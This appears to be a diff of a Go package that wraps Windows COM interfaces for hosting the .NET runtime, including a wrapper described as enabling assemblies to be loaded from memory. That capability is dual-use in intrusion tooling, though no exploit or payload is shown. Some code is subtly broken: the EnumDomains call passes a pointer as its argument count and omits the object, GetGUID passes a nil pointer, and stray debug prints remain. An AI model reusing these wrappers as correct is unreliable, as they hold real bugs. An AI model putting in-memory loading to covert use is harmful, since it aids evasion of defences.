hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.Start,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return fmt.Errorf("the ICLRRuntimeHost::Start method returned an error:\r\n%s", err)
|
||||
}
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("the ICLRRuntimeHost::Start method method returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// ExecuteInDefaultAppDomain Calls the specified method of the specified type in the specified managed assembly.
|
||||
// HRESULT ExecuteInDefaultAppDomain (
|
||||
// [in] LPCWSTR pwzAssemblyPath,
|
||||
// [in] LPCWSTR pwzTypeName,
|
||||
// [in] LPCWSTR pwzMethodName,
|
||||
// [in] LPCWSTR pwzArgument,
|
||||
// [out] DWORD *pReturnValue
|
||||
// );
|
||||
// An LPCWSTR is a 32-bit pointer to a constant string of 16-bit Unicode characters, which MAY be null-terminated.
|
||||
// Use syscall.UTF16PtrFromString to turn a string into a LPCWSTR
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimehost-executeindefaultappdomain-method
|
||||
func (obj *ICLRRuntimeHost) ExecuteInDefaultAppDomain(pwzAssemblyPath, pwzTypeName, pwzMethodName, pwzArgument *uint16) (pReturnValue *uint32, err error) {
|
||||
hr, _, err := syscall.Syscall9(
|
||||
obj.vtbl.ExecuteInDefaultAppDomain,
|
||||
6,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(pwzAssemblyPath)),
|
||||
uintptr(unsafe.Pointer(pwzTypeName)),
|
||||
uintptr(unsafe.Pointer(pwzMethodName)),
|
||||
uintptr(unsafe.Pointer(pwzArgument)),
|
||||
uintptr(unsafe.Pointer(pReturnValue)),
|
||||
0,
|
||||
0,
|
||||
0)
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("the ICLRRuntimeHost::ExecuteInDefaultAppDomain method returned an error:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the ICLRRuntimeHost::ExecuteInDefaultAppDomain method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
|
||||
// GetCurrentAppDomainID Gets the numeric identifier of the AppDomain that is currently executing.
|
||||
// HRESULT GetCurrentAppDomainId(
|
||||
// [out] DWORD* pdwAppDomainId
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimehost-getcurrentappdomainid-method
|
||||
func (obj *ICLRRuntimeHost) GetCurrentAppDomainID() (pdwAppDomainId uint32, err error) {
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.GetCurrentAppDomainId,
|
||||
2,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&pdwAppDomainId)),
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("the ICLRRuntimeHost::GetCurrentAppDomainID method returned an error:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the ICLRRuntimeHost::GetCurrentAppDomainID method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
+211
@@ -0,0 +1,211 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
type ICLRRuntimeInfo struct {
|
||||
vtbl *ICLRRuntimeInfoVtbl
|
||||
}
|
||||
|
||||
// ICLRRuntimeInfoVtbl Provides methods that return information about a specific common language runtime (CLR),
|
||||
// including version, directory, and load status. This interface also provides runtime-specific functionality
|
||||
// without initializing the runtime. It includes the runtime-relative LoadLibrary method, the runtime
|
||||
// module-specific GetProcAddress method, and runtime-provided interfaces through the GetInterface method.
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimeinfo-interface
|
||||
type ICLRRuntimeInfoVtbl struct {
|
||||
QueryInterface uintptr
|
||||
AddRef uintptr
|
||||
Release uintptr
|
||||
// GetVersionString Gets common language runtime (CLR) version information associated with a given
|
||||
// ICLRRuntimeInfo interface. This method supersedes the GetRequestedRuntimeInfo and GetRequestedRuntimeVersion methods.
|
||||
GetVersionString uintptr
|
||||
// GetRuntimeDirectory Gets the installation directory of the CLR associated with this interface.
|
||||
// This method supersedes the GetCORSystemDirectory method.
|
||||
GetRuntimeDirectory uintptr
|
||||
// IsLoaded Indicates whether the CLR associated with the ICLRRuntimeInfo interface is loaded into a process.
|
||||
IsLoaded uintptr
|
||||
// LoadErrorString Translates an HRESULT value into an appropriate error message for the specified culture.
|
||||
// This method supersedes the LoadStringRC and LoadStringRCEx methods.
|
||||
LoadErrorString uintptr
|
||||
// LoadLibrary Loads a library from the framework directory of the CLR represented by an ICLRRuntimeInfo interface.
|
||||
// This method supersedes the LoadLibraryShim method.
|
||||
LoadLibrary uintptr
|
||||
// GetProcAddress Gets the address of a specified function that was exported from the CLR associated with
|
||||
// this interface. This method supersedes the GetRealProcAddress method.
|
||||
GetProcAddress uintptr
|
||||
// GetInterface Loads the CLR into the current process and returns runtime interface pointers,
|
||||
// such as ICLRRuntimeHost, ICLRStrongName and IMetaDataDispenser. This method supersedes all the CorBindTo* functions.
|
||||
GetInterface uintptr
|
||||
// IsLoadable Indicates whether the runtime associated with this interface can be loaded into the current
|
||||
// process, taking into account other runtimes that might already be loaded into the process.
|
||||
IsLoadable uintptr
|
||||
// SetDefaultStartupFlags Sets the CLR startup flags and host configuration file.
|
||||
SetDefaultStartupFlags uintptr
|
||||
// GetDefaultStartupFlags Gets the CLR startup flags and host configuration file.
|
||||
GetDefaultStartupFlags uintptr
|
||||
// BindAsLegacyV2Runtime Binds this runtime for all legacy CLR version 2 activation policy decisions.
|
||||
BindAsLegacyV2Runtime uintptr
|
||||
// IsStarted Indicates whether the CLR that is associated with the ICLRRuntimeInfo interface has been started.
|
||||
IsStarted uintptr
|
||||
}
|
||||
|
||||
// GetRuntimeInfo is a wrapper function to return an ICLRRuntimeInfo from a standard version string
|
||||
func GetRuntimeInfo(metahost *ICLRMetaHost, version string) (*ICLRRuntimeInfo, error) {
|
||||
pwzVersion, err := syscall.UTF16PtrFromString(version)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return metahost.GetRuntime(pwzVersion, IID_ICLRRuntimeInfo)
|
||||
}
|
||||
|
||||
func (obj *ICLRRuntimeInfo) AddRef() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.AddRef,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
func (obj *ICLRRuntimeInfo) Release() uintptr {
|
||||
debugPrint("Entering into iclrruntimeinfo.Release()...")
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.Release,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
// GetVersionString gets common language runtime (CLR) version information associated with a given ICLRRuntimeInfo interface.
|
||||
// HRESULT GetVersionString(
|
||||
// [out, size_is(*pcchBuffer)] LPWSTR pwzBuffer,
|
||||
// [in, out] DWORD *pcchBuffer);
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimeinfo-getversionstring-method
|
||||
func (obj *ICLRRuntimeInfo) GetVersionString() (version string, err error) {
|
||||
debugPrint("Entering into iclrruntimeinfo.GetVersion()...")
|
||||
// [in, out] Specifies the size of pwzBuffer to avoid buffer overruns. If pwzBuffer is null, pchBuffer returns the required size of pwzBuffer to allow preallocation.
|
||||
var pchBuffer uint32
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.GetVersionString,
|
||||
3,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
uintptr(unsafe.Pointer(&pchBuffer)),
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("there was an error calling the ICLRRuntimeInfo::GetVersionString method during preallocation:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
// 0x8007007a = The data area passed to a system call is too small, expected when passing a nil buffer for preallocation
|
||||
if hr != S_OK && hr != 0x8007007a {
|
||||
err = fmt.Errorf("the ICLRRuntimeInfo::GetVersionString method (preallocation) returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
|
||||
pwzBuffer := make([]uint16, 20)
|
||||
|
||||
hr, _, err = syscall.Syscall(
|
||||
obj.vtbl.GetVersionString,
|
||||
3,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&pwzBuffer[0])),
|
||||
uintptr(unsafe.Pointer(&pchBuffer)),
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("there was an error calling the ICLRRuntimeInfo::GetVersionString method:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the ICLRRuntimeInfo::GetVersionString method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
version = syscall.UTF16ToString(pwzBuffer)
|
||||
return
|
||||
}
|
||||
|
||||
// GetInterface loads the CLR into the current process and returns runtime interface pointers,
|
||||
// such as ICLRRuntimeHost, ICLRStrongName, and IMetaDataDispenserEx.
|
||||
// HRESULT GetInterface(
|
||||
// [in] REFCLSID rclsid,
|
||||
// [in] REFIID riid,
|
||||
// [out, iid_is(riid), retval] LPVOID *ppUnk); unsafe pointer of a pointer to an object pointer
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimeinfo-getinterface-method
|
||||
func (obj *ICLRRuntimeInfo) GetInterface(rclsid windows.GUID, riid windows.GUID, ppUnk unsafe.Pointer) error {
|
||||
debugPrint("Entering into iclrruntimeinfo.GetInterface()...")
|
||||
hr, _, err := syscall.Syscall6(
|
||||
obj.vtbl.GetInterface,
|
||||
4,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&rclsid)),
|
||||
uintptr(unsafe.Pointer(&riid)),
|
||||
uintptr(ppUnk),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
// The syscall returns "The requested lookup key was not found in any active activation context." in the error position
|
||||
// TODO Why is this error message returned?
|
||||
if err != syscall.Errno(0) && err.Error() != "The requested lookup key was not found in any active activation context." {
|
||||
return fmt.Errorf("the ICLRRuntimeInfo::GetInterface method returned an error:\r\n%s", err)
|
||||
}
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("the ICLRRuntimeInfo::GetInterface method returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// BindAsLegacyV2Runtime binds the current runtime for all legacy common language runtime (CLR) version 2 activation policy decisions.
|
||||
// HRESULT BindAsLegacyV2Runtime ();
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimeinfo-bindaslegacyv2runtime-method
|
||||
func (obj *ICLRRuntimeInfo) BindAsLegacyV2Runtime() error {
|
||||
debugPrint("Entering into iclrruntimeinfo.BindAsLegacyV2Runtime()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.BindAsLegacyV2Runtime,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
return fmt.Errorf("the ICLRRuntimeInfo::BindAsLegacyV2Runtime method returned an error:\r\n%s", err)
|
||||
}
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("the ICLRRuntimeInfo::BindAsLegacyV2Runtime method returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// IsLoadable indicates whether the runtime associated with this interface can be loaded into the current process,
|
||||
// taking into account other runtimes that might already be loaded into the process.
|
||||
// HRESULT IsLoadable(
|
||||
// [out, retval] BOOL *pbLoadable);
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/iclrruntimeinfo-isloadable-method
|
||||
func (obj *ICLRRuntimeInfo) IsLoadable() (pbLoadable bool, err error) {
|
||||
debugPrint("Entering into iclrruntimeinfo.IsLoadable()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.IsLoadable,
|
||||
2,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&pbLoadable)),
|
||||
0)
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("the ICLRRuntimeInfo::IsLoadable method returned an error:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the ICLRRuntimeInfo::IsLoadable method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
+231
@@ -0,0 +1,231 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
type ICORRuntimeHost struct {
|
||||
vtbl *ICORRuntimeHostVtbl
|
||||
}
|
||||
|
||||
// ICORRuntimeHostVtbl Provides methods that enable the host to start and stop the common language runtime (CLR)
|
||||
// explicitly, to create and configure application domains, to access the default domain, and to enumerate all
|
||||
// domains running in the process.
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/icorruntimehost-interface
|
||||
type ICORRuntimeHostVtbl struct {
|
||||
QueryInterface uintptr
|
||||
AddRef uintptr
|
||||
Release uintptr
|
||||
// CreateLogicalThreadState Do not use.
|
||||
CreateLogicalThreadState uintptr
|
||||
// DeleteLogicalThreadSate Do not use.
|
||||
DeleteLogicalThreadState uintptr
|
||||
// SwitchInLogicalThreadState Do not use.
|
||||
SwitchInLogicalThreadState uintptr
|
||||
// SwitchOutLogicalThreadState Do not use.
|
||||
SwitchOutLogicalThreadState uintptr
|
||||
// LocksHeldByLogicalThreadState Do not use.
|
||||
LocksHeldByLogicalThreadState uintptr
|
||||
// MapFile Maps the specified file into memory. This method is obsolete.
|
||||
MapFile uintptr
|
||||
// GetConfiguration Gets an object that allows the host to specify the callback configuration of the CLR.
|
||||
GetConfiguration uintptr
|
||||
// Start Starts the CLR.
|
||||
Start uintptr
|
||||
// Stop Stops the execution of code in the runtime for the current process.
|
||||
Stop uintptr
|
||||
// CreateDomain Creates an application domain. The caller receives an interface pointer of
|
||||
// type _AppDomain to an instance of type System.AppDomain.
|
||||
CreateDomain uintptr
|
||||
// GetDefaultDomain Gets an interface pointer of type _AppDomain that represents the default domain for the current process.
|
||||
GetDefaultDomain uintptr
|
||||
// EnumDomains Gets an enumerator for the domains in the current process.
|
||||
EnumDomains uintptr
|
||||
// NextDomain Gets an interface pointer to the next domain in the enumeration.
|
||||
NextDomain uintptr
|
||||
// CloseEnum Resets a domain enumerator back to the beginning of the domain list.
|
||||
CloseEnum uintptr
|
||||
// CreateDomainEx Creates an application domain. This method allows the caller to pass an
|
||||
// IAppDomainSetup instance to configure additional features of the returned _AppDomain instance.
|
||||
CreateDomainEx uintptr
|
||||
// CreateDomainSetup Gets an interface pointer of type IAppDomainSetup to an AppDomainSetup instance.
|
||||
// IAppDomainSetup provides methods to configure aspects of an application domain before it is created.
|
||||
CreateDomainSetup uintptr
|
||||
// CreateEvidence Gets an interface pointer of type IIdentity, which allows the host to create security
|
||||
// evidence to pass to CreateDomain or CreateDomainEx.
|
||||
CreateEvidence uintptr
|
||||
// UnloadDomain Unloads the specified application domain from the current process.
|
||||
UnloadDomain uintptr
|
||||
// CurrentDomain Gets an interface pointer of type _AppDomain that represents the domain loaded on the current thread.
|
||||
CurrentDomain uintptr
|
||||
}
|
||||
|
||||
// GetICORRuntimeHost is a wrapper function that takes in an ICLRRuntimeInfo and returns an ICORRuntimeHost object
|
||||
// and loads it into the current process. This is the "deprecated" API, but the only way currently to load an assembly
|
||||
// from memory (afaict)
|
||||
func GetICORRuntimeHost(runtimeInfo *ICLRRuntimeInfo) (*ICORRuntimeHost, error) {
|
||||
debugPrint("Entering into icorruntimehost.GetICORRuntimeHost()...")
|
||||
var runtimeHost *ICORRuntimeHost
|
||||
err := runtimeInfo.GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, unsafe.Pointer(&runtimeHost))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = runtimeHost.Start()
|
||||
return runtimeHost, err
|
||||
}
|
||||
|
||||
func (obj *ICORRuntimeHost) QueryInterface(riid windows.GUID, ppvObject unsafe.Pointer) error {
|
||||
debugPrint("Entering into icorruntimehost.QueryInterface()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.QueryInterface,
|
||||
3,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&riid)), // A reference to the interface identifier (IID) of the interface being queried for.
|
||||
uintptr(ppvObject),
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
fmt.Println("1111111111111")
|
||||
return fmt.Errorf("the IUknown::QueryInterface method returned an error:\r\n%s", err)
|
||||
}
|
||||
if hr != S_OK {
|
||||
fmt.Println("222222222222222222")
|
||||
return fmt.Errorf("the IUknown::QueryInterface method method returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (obj *ICORRuntimeHost) AddRef() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.AddRef,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
func (obj *ICORRuntimeHost) Release() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.Release,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
// Start starts the common language runtime (CLR).
|
||||
// HRESULT Start ();
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/icorruntimehost-start-method
|
||||
func (obj *ICORRuntimeHost) Start() error {
|
||||
debugPrint("Entering into icorruntimehost.Start()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.Start,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
// The system could not find the environment option that was entered.
|
||||
// TODO Why is this error message returned?
|
||||
debugPrint(fmt.Sprintf("the ICORRuntimeHost::Start method returned an error:\r\n%s", err))
|
||||
}
|
||||
if hr != S_OK {
|
||||
return fmt.Errorf("the ICORRuntimeHost::Start method method returned a non-zero HRESULT: 0x%x", hr)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// GetDefaultDomain gets an interface pointer of type System._AppDomain that represents the default domain for the current process.
|
||||
// HRESULT GetDefaultDomain (
|
||||
// [out] IUnknown** pAppDomain
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/icorruntimehost-getdefaultdomain-method
|
||||
func (obj *ICORRuntimeHost) GetDefaultDomain() (IUnknown *IUnknown, err error) {
|
||||
debugPrint("Entering into icorruntimehost.GetDefaultDomain()...")
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.GetDefaultDomain,
|
||||
2,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&IUnknown)),
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
// The specified procedure could not be found.
|
||||
// TODO Why is this error message returned?
|
||||
debugPrint(fmt.Sprintf("the ICORRuntimeHost::GetDefaultDomain method returned an error:\r\n%s", err))
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the ICORRuntimeHost::GetDefaultDomain method method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
|
||||
// CreateDomain Creates an application domain. The caller receives an interface pointer of type _AppDomain to an instance of type System.AppDomain.
|
||||
// HRESULT CreateDomain (
|
||||
// [in] LPWSTR pwzFriendlyName,
|
||||
// [in] IUnknown* pIdentityArray,
|
||||
// [out] void **pAppDomain
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ms164322(v=vs.100)
|
||||
func (obj *ICORRuntimeHost) CreateDomain(pwzFriendlyName *uint16) (pAppDomain *AppDomain, err error) {
|
||||
debugPrint("Entering into icorruntimehost.CreateDomain()...")
|
||||
hr, _, err := syscall.Syscall6(
|
||||
obj.vtbl.CreateDomain,
|
||||
4,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(pwzFriendlyName)), // [in] LPWSTR pwzFriendlyName - An optional parameter used to give a friendly name to the domain
|
||||
uintptr(unsafe.Pointer(nil)), // [in] IUnknown* pIdentityArray - An optional array of pointers to IIdentity instances that represent evidence mapped through security policy to establish a permission set
|
||||
uintptr(unsafe.Pointer(&pAppDomain)), // [out] IUnknown** pAppDomain
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
// The specified procedure could not be found.
|
||||
// TODO Why is this error message returned?
|
||||
debugPrint(fmt.Sprintf("the ICORRuntimeHost::CreateDomain method returned an error:\r\n%s", err))
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the ICORRuntimeHost::CreateDomain method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
|
||||
// EnumDomains Gets an enumerator for the domains in the current process.
|
||||
// HRESULT EnumDomains (
|
||||
// [out] HCORENUM *hEnum
|
||||
// );
|
||||
func (obj *ICORRuntimeHost) EnumDomains() (hEnum *uintptr, err error) {
|
||||
debugPrint("Enterin into icorruntimehost.EnumDomains()...")
|
||||
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.EnumDomains,
|
||||
(uintptr(unsafe.Pointer(hEnum))),
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("the ICORRuntimeHost::EnumDomains method returned an error:\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the ICORRuntimeHost::EnumDomains method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
+82
@@ -0,0 +1,82 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
type IEnumUnknown struct {
|
||||
vtbl *IEnumUnknownVtbl
|
||||
}
|
||||
|
||||
// IEnumUnknownVtbl Enumerates objects implementing the root COM interface, IUnknown.
|
||||
// Commonly implemented by a component containing multiple objects. For more information, see IEnumUnknown.
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/objidl/nn-objidl-ienumunknown
|
||||
type IEnumUnknownVtbl struct {
|
||||
QueryInterface uintptr
|
||||
AddRef uintptr
|
||||
Release uintptr
|
||||
// Next Retrieves the specified number of items in the enumeration sequence.
|
||||
Next uintptr
|
||||
// Skip Skips over the specified number of items in the enumeration sequence.
|
||||
Skip uintptr
|
||||
// Reset Resets the enumeration sequence to the beginning.
|
||||
Reset uintptr
|
||||
// Clone Creates a new enumerator that contains the same enumeration state as the current one.
|
||||
Clone uintptr
|
||||
}
|
||||
|
||||
func (obj *IEnumUnknown) AddRef() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.AddRef,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
func (obj *IEnumUnknown) Release() uintptr {
|
||||
ret, _, _ := syscall.Syscall(
|
||||
obj.vtbl.Release,
|
||||
1,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
0,
|
||||
0)
|
||||
return ret
|
||||
}
|
||||
|
||||
// Next retrieves the specified number of items in the enumeration sequence.
|
||||
// HRESULT Next(
|
||||
// ULONG celt,
|
||||
// IUnknown **rgelt,
|
||||
// ULONG *pceltFetched
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/objidl/nf-objidl-ienumunknown-next
|
||||
func (obj *IEnumUnknown) Next(celt uint32, pEnumRuntime unsafe.Pointer, pceltFetched *uint32) (hresult int, err error) {
|
||||
debugPrint("Entering into ienumunknown.Next()...")
|
||||
hr, _, err := syscall.Syscall6(
|
||||
obj.vtbl.Next,
|
||||
4,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(celt),
|
||||
uintptr(pEnumRuntime),
|
||||
uintptr(unsafe.Pointer(pceltFetched)),
|
||||
0,
|
||||
0,
|
||||
)
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("there was an error calling the IEnumUnknown::Next method:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK && hr != S_FALSE {
|
||||
err = fmt.Errorf("the IEnumUnknown::Next method method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
hresult = int(hr)
|
||||
return
|
||||
}
|
||||
+117
@@ -0,0 +1,117 @@
|
||||
// +build windows
|
||||
|
||||
package clr
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
type IErrorInfo struct {
|
||||
vtbl *IErrorInfoVtbl
|
||||
}
|
||||
|
||||
// IErrorInfoVtbl returns information about an error in addition to the return code.
|
||||
// It returns the error message, name of the component and GUID of the interface in
|
||||
// which the error occurred, and the name and topic of the Help file that applies to the error.
|
||||
// https://docs.microsoft.com/en-us/previous-versions/windows/desktop/ms723041(v=vs.85)
|
||||
type IErrorInfoVtbl struct {
|
||||
// QueryInterface Retrieves pointers to the supported interfaces on an object.
|
||||
QueryInterface uintptr
|
||||
// AddRef Increments the reference count for an interface pointer to a COM object.
|
||||
// You should call this method whenever you make a copy of an interface pointer.
|
||||
AddRef uintptr
|
||||
// Release Decrements the reference count for an interface on a COM object.
|
||||
Release uintptr
|
||||
// GetDescription Returns a text description of the error
|
||||
GetDescription uintptr
|
||||
// GetGUID Returns the GUID of the interface that defined the error.
|
||||
GetGUID uintptr
|
||||
// GetHelpContext Returns the Help context ID for the error.
|
||||
GetHelpContext uintptr
|
||||
// GetHelpFile Returns the path of the Help file that describes the error.
|
||||
GetHelpFile uintptr
|
||||
// GetSource Returns the name of the component that generated the error, such as "ODBC driver-name".
|
||||
GetSource uintptr
|
||||
}
|
||||
|
||||
// GetDescription Returns a text description of the error.
|
||||
// HRESULT GetDescription (
|
||||
// BSTR *pbstrDescription);
|
||||
// https://docs.microsoft.com/en-us/previous-versions/windows/desktop/ms714318(v=vs.85)
|
||||
func (obj *IErrorInfo) GetDescription() (pbstrDescription *string, err error) {
|
||||
debugPrint("Entering into ierrorinfo.GetDescription()...")
|
||||
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.GetDescription,
|
||||
2,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(&pbstrDescription)),
|
||||
0,
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("the IErrorInfo::GetDescription method returned an error:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the IErrorInfo::GetDescription method method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
|
||||
// GetGUID Returns the globally unique identifier (GUID) of the interface that defined the error.
|
||||
// HRESULT GetGUID(
|
||||
// GUID *pGUID
|
||||
// );
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/nf-oaidl-ierrorinfo-getguid
|
||||
func (obj *IErrorInfo) GetGUID() (pGUID *windows.GUID, err error) {
|
||||
debugPrint("Entering into ierrorinfo.GetGUID()...")
|
||||
|
||||
hr, _, err := syscall.Syscall(
|
||||
obj.vtbl.GetGUID,
|
||||
2,
|
||||
uintptr(unsafe.Pointer(obj)),
|
||||
uintptr(unsafe.Pointer(pGUID)),
|
||||
0,
|
||||
)
|
||||
|
||||
if err != syscall.Errno(0) {
|
||||
err = fmt.Errorf("the IErrorInfo::GetGUID method returned an error:\r\n%s", err)
|
||||
return
|
||||
}
|
||||
if hr != S_OK {
|
||||
err = fmt.Errorf("the IErrorInfo::GetGUID method method returned a non-zero HRESULT: 0x%x", hr)
|
||||
return
|
||||
}
|
||||
err = nil
|
||||
return
|
||||
}
|
||||
|
||||
// GetErrorInfo Obtains the error information pointer set by the previous call to SetErrorInfo in the current logical thread.
|
||||
// HRESULT GetErrorInfo(
|
||||
// ULONG dwReserved,
|
